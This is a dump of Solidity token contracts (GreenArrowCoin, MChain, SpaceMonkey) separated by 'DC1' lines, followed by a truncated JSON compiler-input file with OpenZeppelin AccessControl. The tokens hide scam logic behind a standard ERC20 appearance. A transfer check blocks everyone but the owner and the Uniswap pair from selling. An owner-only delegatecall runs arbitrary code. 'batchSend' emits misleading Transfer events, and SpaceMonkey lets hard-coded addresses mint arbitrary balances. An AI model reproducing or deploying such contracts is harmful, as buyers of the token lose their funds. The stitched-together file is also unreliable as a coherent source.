function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GreenArrowCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
M Chain
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MChain {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract SpaceMonkey {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
{{
"language": "Solidity",
"settings": {
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs",
"useLiteralContent": true
},
"optimizer": {
"enabled": true,
"runs": 10000
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
},
"sources": {
"@openzeppelin/contracts/access/AccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\nimport \"../utils/EnumerableSet.sol\";\nimport \"../utils/Address.sol\";\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControl is Context {\n using EnumerableSet for EnumerableSet.AddressSet;\n using Address for address;\n\n struct RoleData {\n EnumerableSet.AddressSet members;\n bytes32 adminRole;\n }\n\n mapping (bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view returns (bool) {\n return _roles[role].members.contains(account);\n }\n\n /**\n * @dev Returns the number of accounts that have `role`. Can be used\n * together with {getRoleMember} to enumerate all bearers of a role.\n */\n function getRoleMemberCount(bytes32 role) public view returns (uint256) {\n return _roles[role].members.length();\n }\n\n /**\n * @dev Returns one of the accounts that have `role`. `index` must be a\n * value between 0 and {getRoleMemberCount}, non-inclusive.\n *\n * Role bearers are not sorted in any particular way, and their ordering may\n * change at any point.\n *\n * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n * you perform all queries on the same block. See the following\n * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]\n * for more information.\n */\n function getRoleMember(bytes32 role, uint256 index) public view returns (address) {\n return _roles[role].members.at(index);\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) public virtual {\n require(hasRole(_roles[role].adminRole, _msgSender()), \"AccessControl: sender must be an admin to grant\");\n\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) public virtual {\n require(hasRole(_roles[role].adminRole, _msgSender()), \"AccessControl: sender must be an admin to revoke\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) public virtual {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);\n _roles[role].adminRole = adminRole;\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (_roles[role].members.add(account)) {\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (_roles[role].members.remove(account)) {\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
